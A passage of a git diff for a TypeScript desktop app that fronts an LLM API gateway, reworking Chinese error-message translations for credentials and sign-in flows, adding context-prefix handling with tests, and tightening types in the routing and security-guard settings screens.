-  "security.unknown_mode": (a) => `「${a.mode}」不是一个档位，只能是 off、observe 或 enforce。`,
   "security.unknown_rule": (a) => `没有名为「${a.rule}」的内置规则。`,
   "security.rule_name_empty": () => "规则需要一个名称。",
   "security.bad_pattern": (a) => `正则表达式有误：${a.detail}`,
   "security.unknown_action": (a) => `「${a.action}」不是一种处置，只能是 cut 或 record。`,
   "security.unknown_content_action": (a) => `「${a.action}」不是一种处置，只能是 block 或 record。`,
-  "security.unknown_match": (a) => `「${a.matching}」不是一种匹配方式，只能是 contains 或 regex。`,
   "security.bad_content_pattern": (a) => `匹配内容无法使用：${a.detail}`,
   "security.no_action_of_its_own": (a) => {
     const g = word(GUARD_NAME, a.guard);
@@ -419,8 +447,6 @@ const ZH: Record = {
     return kind && `${kind}名称不能以 ${a.prefix} 开头，该前缀保留给内置项。`;
   },
   "control.name_is_builtin": (a) => `「${a.name}」是内置选项的名称，请使用其他名称。`,
-  "control.unsupported_value": (a) => `${a.kind}「${a.value}」不受支持。`,
-  "control.unsupported_action": (a) => `不支持的操作「${a.action}」。`,
   "control.shutdown": () => "网关正在关闭。",
   "control.no_such_endpoint": (a) =>
     `控制面没有 ${a.method} ${a.path} 这个端点，桌面应用与网关的版本可能不一致。`,
@@ -434,13 +460,10 @@ const ZH: Record = {
   "control.header_no_value": (a) => `请求头「${a.header}」缺少值。`,
   "control.proxy_addr_form": (a) => `代理地址「${a.addr}」应写成 主机:端口 的形式。`,
   "control.dryrun_needs_target": () => "请指定网关密钥或路由。",
-  "control.credentials_failed": (a) => `无法获取上游「${a.upstream}」的凭据：${a.detail}`,
   "control.request_body_gone": (a) => `第 ${a.id} 号请求的请求体已不存在，可能已被清理。`,
   "control.response_body_gone": (a) => `第 ${a.id} 号请求的响应体已不存在，可能已被清理。`,
   "control.request_body_truncated": (a) =>
     `第 ${a.id} 号请求的请求体有 ${a.original} 字节，仅保存了 ${a.kept} 字节，无法原样重放。`,
-  "control.unknown_signin_mode": (a) => `不支持的登录方式「${a.mode}」。`,
-  "control.unknown_account_family": (a) => `「${a.family}」不是可登录的账号类型。`,
   "control.signin_response_unusable": (a) => `无法开始登录：${a.detail}`,
   "control.device_code_unavailable": () => "这个账号还不能用设备码登录，请改用在这台电脑上登录。",
   "control.device_code_failed": (a) => `换设备码时返回 ${a.status}：${a.detail}`,
@@ -464,6 +487,23 @@ const ZH: Record = {
   "control.account_service_status": (a) => `账号服务返回 ${a.status}：${a.detail}`,
   "control.account_service_not_json": (a) => `账号服务的响应不是 JSON：${a.detail}`,
   "control.account_service_refused": (a) => `账号服务拒绝了请求：${a.why}`,
+  "control.chatgpt_login.device_status": (a) => `登录返回 ${a.status}：${a.body}`,
+  "control.chatgpt_login.approval_unreadable": (a) => `无法识别授权结果：${a.detail}`,
+  "control.chatgpt_login.expired": () => "15 分钟内未完成授权。",
+  "control.chatgpt_login.page_error": (a) => `授权页面返回了错误：${a.detail}`,
+  "control.chatgpt_login.no_code": () => "回调中没有授权码。",
+  "control.zai_login.refused": () => "授权被拒绝。",
+  "control.zai_login.unknown_state": (a) => `授权处于无法识别的状态：${a.state}`,
+  "control.zai_login.expired": () => "未在限定时间内完成授权。",
+  "control.zai_login.no_access_token": () => "授权结果中没有访问令牌。",
+  "control.zai_login.no_account_token": () => "账号令牌的响应中没有令牌。",
+  "control.zai_login.no_project": () => "该账号没有可用于创建 API 密钥的组织和项目。",
+  "control.zai_login.key_without_id": () => "新建的 API 密钥缺少 id。",
+  "control.zai_login.key_id_unexpected": () => "API 密钥的 id 中含有无法识别的字符。",
+  "control.zai_login.key_without_secret": () => "API 密钥缺少密钥部分。",
+  "control.provider_test.oauth_unsaved": () =>
+    "OAuth 凭据需要先保存才能检查。如需现在检查，请同时填写访问令牌。",
+  "control.rotation.written": (a) => `已写回 ${a.path}（版本 ${a.version}）。`,
   "control.unauthorized": () =>
     "控制面需要启动时生成的令牌。桌面版会自动携带；自行编写的客户端需从配置目录中的 control.token 读取。",
   "control.internal_error": (a) => `网关内部出错：${a.detail}`,
@@ -511,12 +551,10 @@ const ZH: Record = {
   "control.rule.no_such_probe_class": (a) =>
     `规则「${a.rule}」：没有「${a.class}」这一类辅助请求。`,
   "control.rule.no_such_upstream": (a) => `规则「${a.rule}」：不存在上游「${a.upstream}」。`,
-  "control.rule.unknown_condition": (a) => `规则「${a.rule}」：不支持条件 ${a.field}。`,
   "control.rule.deny_needs_reason": (a) => `规则「${a.rule}」：拒绝时需要填写原因。`,
   "control.rule.forward_and_deny": (a) => `规则「${a.rule}」不能同时转发和拒绝。`,
   "control.group.name_is_upstream": (a) =>
     `「${a.name}」已是上游的名称。规则按名称指向上游或策略组，两者不能同名。`,
-  "control.group.unknown_strategy": (a) => `不支持策略「${a.strategy}」。`,
   "control.group.no_such_upstream": (a) => `不存在上游「${a.upstream}」。`,
   "control.group.upstream_twice": (a) => `上游「${a.upstream}」重复。`,
   "control.group.empty": () => "策略组至少需要一个上游。",
@@ -613,45 +651,38 @@ const ZH: Record = {
 
   // ── config.credential：上游凭据的写法 ────────────────────────────
   //
-  // 整份配置校验时多带一个 `upstream`（是哪个上游），编辑对话框里不带
-  "config.credential.empty_key": (a) => inUpstream(a, "API 密钥为空。"),
-  "config.credential.key_and_oauth": (a) => inUpstream(a, "key 和 oauth 只能填写其中一项。"),
-  "config.credential.empty_oauth": (a) => inUpstream(a, "oauth 的 refresh 和 endpoint 都不能为空。"),
-  "config.credential.claude_subscription": (a) =>
-    inUpstream(a, "不支持 Claude 订阅账号的登录凭据，请使用 Anthropic API 密钥。"),
-  "config.credential.google_subscription": (a) =>
-    inUpstream(a, "不支持 Gemini CLI 的 Google 登录凭据，请使用 Gemini API 密钥。"),
-  "config.credential.chatgpt_without_login": (a) =>
-    inUpstream(a, "ChatGPT 账号上游只接受登录获得的凭据。"),
-  "config.credential.identity_header": (a) =>
-    inUpstream(a, `请求头「${a.header}」如实说明请求的来源，由网关发送，不能在配置中设置。`),
-  "config.credential.too_many_headers": (a) => inUpstream(a, `请求头最多 ${a.max} 个。`),
+  // 整份配置校验时前面多一句「哪个上游的凭据」，由 `CONTEXT` 接上，这里只说原因
+  "config.credential.empty_key": () => "API 密钥为空。",
+  "config.credential.key_and_oauth": () => "key 和 oauth 只能填写其中一项。",
+  "config.credential.empty_oauth": () => "oauth 的 refresh 和 endpoint 都不能为空。",
+  "config.credential.claude_subscription": () => "不支持 Claude 订阅账号的登录凭据，请使用 Anthropic API 密钥。",
+  "config.credential.google_subscription": () => "不支持 Gemini CLI 的 Google 登录凭据，请使用 Gemini API 密钥。",
+  "config.credential.chatgpt_without_login": () => "ChatGPT 账号上游只接受登录获得的凭据。",
+  "config.credential.identity_header": (a) => `请求头「${a.header}」如实说明请求的来源，由网关发送，不能在配置中设置。`,
+  "config.credential.too_many_headers": (a) => `请求头最多 ${a.max} 个。`,
   "config.credential.bad_header_name": (a) =>
-    inUpstream(
-      a,
-      `请求头名称「${a.header}」无效：只能包含字母、数字和 - _ . ~，且不超过 ${a.max} 个字符。`,
-    ),
-  "config.credential.reserved_header": (a) =>
-    inUpstream(a, `请求头「${a.header}」由网关管理，不能在配置中设置。`),
-  "config.credential.duplicate_header": (a) =>
-    inUpstream(a, `请求头「${a.header}」重复（请求头名称不区分大小写）。`),
-  "config.credential.bad_header_value": (a) =>
-    inUpstream(a, `请求头「${a.header}」的值不能包含换行，且不超过 ${a.max} 个字符。`),
+    `请求头名称「${a.header}」无效：只能包含字母、数字和 - _ . ~，且不超过 ${a.max} 个字符。`,
+  "config.credential.reserved_header": (a) => `请求头「${a.header}」由网关管理，不能在配置中设置。`,
+  "config.credential.duplicate_header": (a) => `请求头「${a.header}」重复（请求头名称不区分大小写）。`,
+  "config.credential.bad_header_value": (a) => `请求头「${a.header}」的值不能包含换行，且不超过 ${a.max} 个字符。`,
   "config.credential.unrecognized_placeholder": (a) =>
-    inUpstream(a, `请求头「${a.header}」中的 ${a.placeholder} 无法识别，只支持 {{access_token}}。`),
+    `请求头「${a.header}」中的 ${a.placeholder} 无法识别，只支持 {{access_token}}。`,
   "config.credential.token_without_oauth": (a) =>
-    inUpstream(a, `请求头「${a.header}」使用了 {{access_token}}，但该上游未配置 oauth。`),
+    `请求头「${a.header}」使用了 {{access_token}}，但该上游未配置 oauth。`,
   "config.credential.key_and_auth_header": (a) =>
-    inUpstream(
-      a,
-      `已填写 key，API 密钥会通过请求头「${a.header}」发送，不能再在请求头中设置「${a.header}」。`,
-    ),
+    `已填写 key，API 密钥会通过请求头「${a.header}」发送，不能再在请求头中设置「${a.header}」。`,
   "config.credential.oauth_and_auth_header": (a) =>
-    inUpstream(
-      a,
-      `配置 oauth 后，令牌默认通过请求头「${a.header}」发送。如需自行设置该请求头，请用 {{access_token}} 标明令牌的位置。`,
-    ),
-  "config.credential.no_token": (a) => inUpstream(a, "无法获取 OAuth 访问令牌。"),
+    `配置 oauth 后，令牌默认通过请求头「${a.header}」发送。如需自行设置该请求头，请用 {{access_token}} 标明令牌的位置。`,
+  "config.credential.no_token": () => "无法获取 OAuth 访问令牌。",
+
+  // ── config.secret：凭据里的 ${环境变量} ──────────────────────────
+  "config.secret.env_missing": (a) => `未设置环境变量 ${a.var}。`,
+  "config.secret.unterminated": (a) => `第 ${a.pos} 个字符处的 \${...} 没有闭合。`,
+  "config.secret.empty_name": () => "变量名为空：${}",
+
+  // ── config.rotate：把换发的凭据写回配置 ─────────────────────────
+  "config.rotate.no_provider": (a) => `配置中已没有上游「${a.provider}」。`,
+  "config.rotate.read_back_differs": () => "写入后读回的令牌不是新的那个。",
 
   // ── yaml：按字段改配置文件 ───────────────────────────────────────
   "yaml.parse": (a) => `无法解析 YAML：${a.detail}`,
@@ -785,6 +816,9 @@ const ZH: Record = {
   "adopt.diag.managed": () => "本机存在管理策略文件",
   "adopt.diag.managed.detail": (a) =>
     `${a.path} 的优先级高于其他所有配置，包括用户配置。`,
+  "adopt.diag.managed_dropin": () => "本机存在管理策略补充文件",
+  "adopt.diag.managed_dropin.detail": (a) =>
+    `${a.path} 在 managed-settings.json 之后合并，与它一样优先于其他所有配置，包括用户配置。`,
   "adopt.diag.no_managed": () => "本机没有管理策略文件",
   "adopt.diag.no_managed.detail": () => "不存在优先级高于其他所有配置的管理策略文件。",
   "adopt.diag.no_exports": () => "shell 配置中没有同名环境变量",
@@ -796,6 +830,7 @@ const ZH: Record = {
     `${a.client} 读取环境变量，该行会覆盖接管写入的配置。`,
   // 一条命令，两种语言里是同一串字符
   "adopt.diag.delete_line": (a) => `sed -i '' '${a.line}d' ${a.path}`,
+  "adopt.diag.delete_line_gnu": (a) => `sed -i '${a.line}d' ${a.path}`,
   // Windows 上同名变量在注册表里：没有文件，也没有行号
   "adopt.diag.registry_env": (a) => `注册表 ${a.key} 中设置了 ${a.name}`,
   "adopt.diag.registry_env.overrides": (a) =>
@@ -893,6 +928,54 @@ export function ruleWhy(rule: string, text: string): string {
   return word(RULE_WHY, rule) ?? text;
 }
 
+/** Z.ai 登录卡在哪一步：core 的 `step` 参数，和它英文原句里的说法 */
+const ZAI_STEP: Record = {
+  authorize_url: { en: "Asking for an authorization address", zh: "获取授权地址" },
+  wait_authorization: { en: "Waiting for the authorization", zh: "等待授权" },
+  exchange_token: { en: "Exchanging the sign-in for an account token", zh: "用登录换取账号令牌" },
+  read_account: { en: "Reading the account", zh: "读取账号" },
+  list_keys: { en: "Listing the account's API keys", zh: "列出账号的 API 密钥" },
+  create_key: { en: "Creating an API key", zh: "创建 API 密钥" },
+  read_key: { en: "Reading the API key", zh: "读取 API 密钥" },
+};
+
+/**
+ * 原因外面套的那一层场合：哪个上游的凭据、哪个代理的密码、登录的哪一步。
+ *
+ * **码是原因的码**（core 的 `Msg::in_context`）：场合只多一个参数，英文
+ * 前面多一句「`{lead}: `」。所以这边按原因的码翻，再把场合接回前面。
+ *
+ * **认场合要看英文开头，不能只看参数在不在** —— `upstream` 这类参数原因
+ * 自己也可能带着（`gw.oauth.not_configured` 就带），只看参数会把一句
+ * 「上游某某的凭据」凭空加到前面。场合可以套好几层，由外往里一层层剥。
+ */
+const CONTEXT: { arg: string; en: (v: string) => string | undefined; zh: (v: string) => string }[] = [
+  // 整份配置校验时，凭据那一条说是哪个上游的
+  { arg: "upstream", en: (v) => `the credential of upstream \`${v}\``, zh: (v) => `上游「${v}」的凭据` },
+  {
+    arg: "upstream",
+    en: (v) => `The credential for upstream \`${v}\` could not be obtained`,
+    zh: (v) => `无法获取上游「${v}」的凭据`,
+  },
+  {
+    arg: "proxy",
+    en: (v) => `The password for proxy \`${v}\` could not be read`,
+    zh: (v) => `无法读取代理「${v}」的密码`,
+  },
+  {
+    arg: "provider",
+    en: (v) => `oauth.refresh of upstream \`${v}\` could not be located`,
+    zh: (v) => `找不到上游「${v}」的 oauth.refresh`,
+  },
+  {
+    arg: "provider",
+    en: (v) =>
+      `after writing the new credential for upstream \`${v}\` the configuration could not be read, so nothing was written`,
+    zh: (v) => `写入上游「${v}」的新凭据后无法读取配置，未写入任何内容`,
+  },
+  { arg: "step", en: (v) => ZAI_STEP[v]?.en, zh: (v) => ZAI_STEP[v]?.zh ?? v },
+];
+
 /**
  * 一句没有码的话，包成 [`Msg`]。
  *
@@ -915,10 +998,23 @@ export function coreText(m: Msg | string | null | undefined): string {
   if (getLang() === "en") return m.text;
   const say = ZH[m.code];
   if (!say) return m.text;
+  const args = m.args ?? {};
+  const leads: string[] = [];
+  for (let rest = m.text; ; ) {
+    const hit = CONTEXT.flatMap((c) => {
+      const v = args[c.arg];
+      const en = v === undefined ? undefined : c.en(v);
+      return v !== undefined && en !== undefined && rest.startsWith(`${en}: `)
+        ? [{ zh: c.zh(v), en }]
+        : [];
+    })[0];
+    if (!hit) break;
+    leads.push(`${hit.zh}：`);
+    rest = rest.slice(hit.en.length + 2);
+  }
   // **少一个参数就整句退回英文。**core 改了参数名而这张表还没跟上时，
   // 中文那句会缺一块（或者更糟，写出一个「undefined」）；一句完整的
   // 英文比一句缺了主语的中文好。
-  const args = m.args ?? {};
   let missing = false;
   const seen = new Proxy(args, {
     get(t, k: string) {
@@ -928,7 +1024,7 @@ export function coreText(m: Msg | string | null | undefined): string {
     },
   });
   const zh = say(seen);
-  return missing || zh === undefined ? m.text : zh;
+  return missing || zh === undefined ? m.text : leads.join("") + zh;
 }
 
 /**
diff --git a/src/i18n/core.test.ts b/src/i18n/core.test.ts
index a1ae1b4e..9acfab24 100644
--- a/src/i18n/core.test.ts
+++ b/src/i18n/core.test.ts
@@ -67,10 +67,42 @@ describe("core 的错误：码加参数", () => {
     // 编辑对话框里不带（就是正在改的那个），整份配置校验时带
     const m = { code: "config.credential.empty_key", text: "the API key is empty" };
     expect(inLang("zh", () => coreText(m))).toBe("API 密钥为空。");
-    const withUpstream = { ...m, args: { upstream: "官方" } };
+    const withUpstream = {
+      ...m,
+      args: { upstream: "官方" },
+      text: "the credential of upstream `官方`: the API key is empty",
+    };
     expect(inLang("zh", () => coreText(withUpstream))).toBe("上游「官方」的凭据：API 密钥为空。");
   });
 
+  it("原因外面的场合接回中文那句前面，场合可以套好几层", () => {
+    // 取凭据失败：码是原因的码，上游名和英文开头是外面那层加的
+    const m = {
+      code: "config.secret.env_missing",
+      args: { upstream: "官方", proxy: "hk", var: "HK_PASS" },
+      text:
+        "The credential for upstream `官方` could not be obtained: " +
+        "The password for proxy `hk` could not be read: the environment variable HK_PASS is not set",
+    };
+    expect(inLang("zh", () => coreText(m))).toBe(
+      "无法获取上游「官方」的凭据：无法读取代理「hk」的密码：未设置环境变量 HK_PASS。",
+    );
+    // 原因自己带着 `upstream`，英文没有那层开头：不凭空加一句
+    const own = {
+      code: "gw.oauth.not_configured",
+      args: { upstream: "官方" },
+      text: "Upstream `官方` has no OAuth configured.",
+    };
+    expect(inLang("zh", () => coreText(own))).toBe("上游「官方」未配置 OAuth。");
+    // Z.ai 登录卡在哪一步
+    const step = {
+      code: "control.account_service_refused",
+      args: { step: "create_key", why: "quota" },
+      text: "Creating an API key: The account service refused the request: quota",
+    };
+    expect(inLang("zh", () => coreText(step))).toBe("创建 API 密钥：账号服务拒绝了请求：quota");
+  });
+
   it("比较式写错时带上规则名", () => {
     const m = {
       code: "engine.compare.empty",
diff --git a/src/labels.ts b/src/labels.ts
index 2f04f35d..6e00247e 100644
--- a/src/labels.ts
+++ b/src/labels.ts
@@ -7,6 +7,7 @@
  * 集中在这里。上游页自己的那些在 `upstreams/labels.ts`。
  */
 import { textOf } from "@/i18n";
+import { coreText } from "@/i18n/core.i18n";
 import {
   usd,
   type AttemptView,
@@ -154,7 +155,7 @@ export function attemptText(a: AttemptView): { text: string; ok: boolean } {
     case "status":
       return { text: a.status === 429 ? t.rateLimited : t.upstreamError(a.status ?? "—"), ok: false };
     default:
-      return { text: a.error ?? t.noResponse, ok: false };
+      return { text: a.error ? coreText(a.error) : t.noResponse, ok: false };
   }
 }
 
diff --git a/src/routing/DryRunDialog.tsx b/src/routing/DryRunDialog.tsx
index d0dc4d09..79544d7f 100644
--- a/src/routing/DryRunDialog.tsx
+++ b/src/routing/DryRunDialog.tsx
@@ -19,6 +19,7 @@ import { Spinner } from "@/ui/spinner";
 import { cn } from "@/lib/utils";
 import { textOf, useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
+import { coreText } from "@/i18n/core.i18n";
 import {
   PROBES,
   formatLabel,
@@ -29,6 +30,7 @@ import {
   translatedText,
 } from "@/labels";
 import type {
+  Dialect,
   DryRunResult,
   KnownModel,
   Overview,
@@ -79,7 +81,7 @@ export function DryRunDialog({
         : (target.keys[0] ?? "");
   const [client, setClient] = useState(firstKey);
   const [model, setModel] = useState(models[0]?.id ?? "claude-sonnet-4-5");
-  const [dialect, setDialect] = useState("anthropic");
+  const [dialect, setDialect] = useState("anthropic");
   const [kTokens, setKTokens] = useState("8");
   const [maxTokens, setMaxTokens] = useState("");
   const [flags, setFlags] = useState({
@@ -217,7 +219,7 @@ export function DryRunDialog({
                 id={`${uid}-dialect`}
                 className="w-full"
                 value={dialect}
-                onChange={(e) => setDialect(e.target.value)}
+                onChange={(e) => setDialect(DIALECTS.find((d) => d === e.target.value) ?? dialect)}
               >
                 {DIALECTS.map((d) => (
                   
@@ -570,7 +572,7 @@ function traceView(
   }
   if (t.verdict === "phase_two")
     return { text: m.phaseTwo, tone: "muted", icon: "later" };
-  if (t.error) return { text: t.error, tone: "warn", icon: "miss" };
+  if (t.error) return { text: coreText(t.error), tone: "warn", icon: "miss" };
   return {
     text: t.mismatch ? m.missedBecause(mismatchText(t.mismatch)) : m.missed,
     tone: "muted",
diff --git a/src/routing/GroupDialog.tsx b/src/routing/GroupDialog.tsx
index 5e61198a..81dc9880 100644
--- a/src/routing/GroupDialog.tsx
+++ b/src/routing/GroupDialog.tsx
@@ -19,7 +19,7 @@ import { cn } from "@/lib/utils";
 import { useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
 import { groupKindLabel } from "@/labels";
-import { isGroupKind, type GroupKind, type Overview } from "@/types";
+import type { GroupKind, Overview } from "@/types";
 import { billingLabel, errorText, protocolLabel } from "@/upstreams/labels";
 import { Boxed, FormItem, Note, RadioRow } from "@/upstreams/parts";
 import { api } from "./api";
@@ -65,7 +65,7 @@ export function GroupDialog({
   const [name, setName] = useState(
     mode.kind === "edit" ? mode.name : mode.kind === "duplicate" ? rt.copyName(mode.from) : "",
   );
-  const [kind, setKind] = useState(source && isGroupKind(source.kind) ? source.kind : "fallback");
+  const [kind, setKind] = useState(source?.kind ?? "fallback");
   const [order, setOrder] = useState(() => {
     const members = source?.providers ?? [];
     return [...members, ...ov.providers.map((p) => p.name).filter((n) => !members.includes(n))];
diff --git a/src/routing/RuleDialog.tsx b/src/routing/RuleDialog.tsx
index 9d14a640..4590bda8 100644
--- a/src/routing/RuleDialog.tsx
+++ b/src/routing/RuleDialog.tsx
@@ -24,7 +24,7 @@ import { cn } from "@/lib/utils";
 import { useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
 import { PROBES, conditionName, formatLabel, probeLabel, targetLabel } from "@/labels";
-import type { ConditionView, KnownModel, Overview } from "@/types";
+import type { ConditionField, ConditionView, KnownModel, Overview } from "@/types";
 import { globMatch } from "@/upstreams/glob";
 import { FormItem, Note, Segmented } from "@/upstreams/parts";
 import { GroupDialog } from "./GroupDialog";
@@ -345,7 +345,7 @@ function Section({
 }
 
 /** 「添加条件」：按请求、特征、来源、上游分组，已有的不再列出 */
-function AddCondition({ used, onAdd }: { used: string[]; onAdd: (field: string) => void }) {
+function AddCondition({ used, onAdd }: { used: ConditionField[]; onAdd: (field: ConditionField) => void }) {
   const t = useText(ruleDialogText);
   const left = COND_FIELDS.filter((f) => !used.includes(f.id));
   if (left.length === 0) return null;
diff --git a/src/routing/model.test.ts b/src/routing/model.test.ts
index 043ba9bb..897df47a 100644
--- a/src/routing/model.test.ts
+++ b/src/routing/model.test.ts
@@ -1,6 +1,6 @@
 import { describe, expect, it } from "vitest";
 import { setLang } from "@/i18n";
-import type { RouteView, RuleView } from "@/types";
+import type { ConditionView, RouteView, RuleView } from "@/types";
 import {
   blankRule,
   draftFromView,
@@ -25,7 +25,7 @@ function rule(name: string, p: Partial = {}): RuleDraft {
   return { ...blankRule("pool"), name, ...p };
 }
 
-const model = (glob: string) => ({ field: "model", values: [glob] });
+const model = (glob: string): ConditionView => ({ field: "model", values: [glob] });
 
 describe("规则草稿", () => {
   it("视图读进来、交回去是同一套写法", () => {
diff --git a/src/routing/model.ts b/src/routing/model.ts
index 1df4c67b..4b1a8a6d 100644
--- a/src/routing/model.ts
+++ b/src/routing/model.ts
@@ -7,7 +7,9 @@
  */
 import type {
   ClientView,
+  ConditionField,
   ConditionView,
+  Dialect,
   GroupKind,
   GroupView,
   ProviderView,
@@ -29,7 +31,7 @@ export type CondKind = "glob" | "compare" | "flag" | "one" | "many";
 export type CondGroup = "request" | "features" | "source" | "upstream";
 
 export interface CondField {
-  id: string;
+  id: ConditionField;
   kind: CondKind;
   group: CondGroup;
 }
@@ -51,7 +53,7 @@ export const COND_FIELDS: CondField[] = [
   { id: "provider_would_be", kind: "many", group: "upstream" },
 ];
 
-export function condField(id: string): CondField {
+export function condField(id: ConditionField): CondField {
   return COND_FIELDS.find((f) => f.id === id) ?? { id, kind: "one", group: "request" };
 }
 
@@ -84,7 +86,7 @@ export function validAmount(v: string): boolean {
 }
 
 /** 一个新加的条件的初始值 */
-export function blankCondition(id: string): ConditionView {
+export function blankCondition(id: ConditionField): ConditionView {
   switch (condField(id).kind) {
     case "flag":
       return { field: id, values: ["true"] };
@@ -359,7 +361,7 @@ export function strategies(): { id: GroupKind; desc: string }[] {
 }
 
 /** 客户端格式：规则条件和试算里可选的几种 */
-export const DIALECTS = ["anthropic", "openai-chat", "openai-responses", "gemini"];
+export const DIALECTS: readonly Dialect[] = ["anthropic", "openai-chat", "openai-responses", "gemini"];
 
 /** 辅助请求的类别（不含总称） */
 export const PROBE_IDS = ["health_check", "warmup", "titling", "topic_detect", "suggestion"];
diff --git a/src/security/GuardTab.i18n.tsx b/src/security/GuardTab.i18n.tsx
index 9e90ec1b..ef93f2f6 100644
--- a/src/security/GuardTab.i18n.tsx
+++ b/src/security/GuardTab.i18n.tsx
@@ -1,10 +1,11 @@
 import { messages } from "@/i18n";
+import type { GuardMode } from "@/types";
 
 /** 一项防护在三档下各做什么。**代价写在切换之前** */
 export interface GuardCopy {
   /** 这项防护做什么，一句话 */
   lead: string;
-  now: Record<"off" | "observe" | "enforce", string>;
+  now: Record;
   /** 「拦截」在这一项上做的事 */
   effect: string;
   /** 「拦截」的代价 */
diff --git a/src/security/GuardTab.tsx b/src/security/GuardTab.tsx
index 24836845..2a73f48f 100644
--- a/src/security/GuardTab.tsx
+++ b/src/security/GuardTab.tsx
@@ -7,19 +7,17 @@ import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@
 import { Segmented } from "@/ui/segmented";
 import { useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
-import type { Guard, GuardDetail, RuleGuard, SecurityRuleView } from "@/types";
+import type { Guard, GuardDetail, GuardMode, RuleGuard, SecurityRuleView } from "@/types";
 import { hasAction, hasCustom, type ActionGuard } from "./api";
 import { Code, MatcherText, ruleWhy, viewName } from "./labels";
 import { securityLabelsText } from "./labels.i18n";
 import { guardTabText } from "./GuardTab.i18n";
 
-export type Mode = "off" | "observe" | "enforce";
-const MODES: Mode[] = ["off", "observe", "enforce"];
-export const asMode = (s: string): Mode => ((MODES as string[]).includes(s) ? (s as Mode) : "observe");
+const MODES: readonly GuardMode[] = ["off", "observe", "enforce"];
 
 /** 规则表上能做的事。**都由页面接住** —— 它们要写配置、要开对话框 */
 export interface RuleActions {
-  mode: (mode: Mode) => void;
+  mode: (mode: GuardMode) => void;
   toggle: (r: SecurityRuleView, enabled: boolean) => void;
   /** 内置规则：只读查看；自定义规则：编辑 */
   open: (r: SecurityRuleView) => void;
@@ -40,9 +38,9 @@ export function ModeCard({
   onMode,
 }: {
   guard: Guard;
-  mode: Mode;
+  mode: GuardMode;
   busy: boolean;
-  onMode: (mode: Mode) => void;
+  onMode: (mode: GuardMode) => void;
 }) {
   const t = useText(guardTabText);
   const lt = useText(securityLabelsText);
@@ -52,7 +50,7 @@ export function ModeCard({
       

         
{copy.lead}

         

-        
+        
           label={t.modeFor(lt.guards[guard])}
           value={mode}
           disabled={busy}
@@ -94,7 +92,7 @@ export function GuardTab({
 
   return (
     

-      
+      
 
       

         

diff --git a/src/security/LogTab.tsx b/src/security/LogTab.tsx
index 31ceeacb..f33ab7fe 100644
--- a/src/security/LogTab.tsx
+++ b/src/security/LogTab.tsx
@@ -14,7 +14,7 @@ import { KeyLabel } from "@/KeyLabel";
 import { useText } from "@/i18n";
 import { errorText } from "@/i18n/core.i18n";
 import RequestDrawer from "@/RequestDrawer";
-import { GUARDS, isGuard, isRuleGuard, type RuleGuard, type SecurityDetail, type SecurityEventView } from "@/types";
+import { GUARDS, isRuleGuard, type RuleGuard, type SecurityDetail, type SecurityEventView } from "@/types";
 import { api } from "./api";
 import { ActionBadge, EventDetail, ruleName, whereOf } from "./labels";
 import { securityLabelsText } from "./labels.i18n";
@@ -199,7 +199,7 @@ export function LogTab({
                           {when(e.at_ms)}
                         
                       
-                      {isGuard(e.guard) ? lt.guardShort[e.guard] : e.guard}
+                      {lt.guardShort[e.guard]}
                       
                         

                           {name}
diff --git a/src/security/OutputLimitTab.tsx b/src/security/OutputLimitTab.tsx
index 7325096b..17f3b927 100644
--- a/src/security/OutputLimitTab.tsx
+++ b/src/security/OutputLimitTab.tsx
@@ -6,8 +6,8 @@ import { Button } from "@/ui/button";
 import { useText } from "@/i18n";
 import { errorText } from "@/i18n/core.i18n";
 import { FormActions, FormRow, FormRows, NumberInput, intIn } from "@/settings/form";
-import type { OutputLimitDetail } from "@/types";
-import { asMode, ModeCard, type Mode } from "./GuardTab";
+import type { GuardMode, OutputLimitDetail } from "@/types";
+import { ModeCard } from "./GuardTab";
 import { outputLimitText } from "./OutputLimitTab.i18n";
 
 /**
@@ -25,7 +25,7 @@ export function OutputLimitTab({
 }: {
   detail: OutputLimitDetail;
   busy: boolean;
-  onMode: (mode: Mode) => void;
+  onMode: (mode: GuardMode) => void;
   /** 写上限。失败时抛出，这一节自己显示 */
   onSaveLimit: (max: number) => Promise;
 }) {
@@ -63,7 +63,7 @@ export function OutputLimitTab({
 
   return (
     

-      
+      
 
       

         
{t.title}

diff --git a/src/security/RuleDialog.tsx b/src/security/RuleDialog.tsx
index 354de7c3..d7b93b2d 100644
--- a/src/security/RuleDialog.tsx
+++ b/src/security/RuleDialog.tsx
@@ -18,7 +18,7 @@ import { Textarea } from "@/ui/textarea";
 import { useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
 import { errorText } from "@/i18n/core.i18n";
-import type { RuleGuard, SecurityRuleView, SecurityTestHit } from "@/types";
+import type { ContentMatch, RuleAction, RuleGuard, SecurityRuleView, SecurityTestHit } from "@/types";
 import { hasAction, type ActionGuard, type CustomGuard, type RuleSave } from "./api";
 import { Highlight, lineOf, type Mark } from "./Highlight";
 import { MatcherText, ruleName, ruleWhy, viewName } from "./labels";
@@ -26,22 +26,11 @@ import { securityLabelsText } from "./labels.i18n";
 import { ruleDialogText } from "./RuleDialog.i18n";
 import { useTrial, type Trial } from "./useTrial";
 
-/**
- * 拦截档下做什么。工具调用审查是切断或仅记录，内容过滤是拒绝或仅记录。
- * core 按字符串发，界面只认这三个。
- */
-type Action = "cut" | "block" | "record";
-export const asAction = (s: string | null | undefined): Action | undefined =>
-  s === "cut" || s === "block" || s === "record" ? s : undefined;
-
 /** 这一项防护上「拦」的那一个词 */
-const strong = (guard: ActionGuard): Action => (guard === "content" ? "block" : "cut");
-
-/** 内容规则怎么认：不分大小写的子串，或者正则 */
-type Match = "contains" | "regex";
+const strong = (guard: ActionGuard): RuleAction => (guard === "content" ? "block" : "cut");
 
 /** 一条规则写的是什么，以及怎么认 */
-export function patternOf(r: SecurityRuleView): { pattern: string; match: Match } | null {
+export function patternOf(r: SecurityRuleView): { pattern: string; match: ContentMatch } | null {
   switch (r.matcher.kind) {
     case "regex":
       return { pattern: r.matcher.pattern, match: "regex" };
@@ -56,8 +45,8 @@ export function patternOf(r: SecurityRuleView): { pattern: string; match: Match
 export interface RuleSeed {
   name: string;
   pattern: string;
-  match?: Match;
-  action?: Action;
+  match?: ContentMatch;
+  action?: RuleAction;
 }
 
 /** 一处命中标成什么颜色：会被切断、拒绝的红，会被替换或记录的黄 */
@@ -98,10 +87,10 @@ function ActionField({
   factory,
 }: {
   guard: ActionGuard;
-  value: Action;
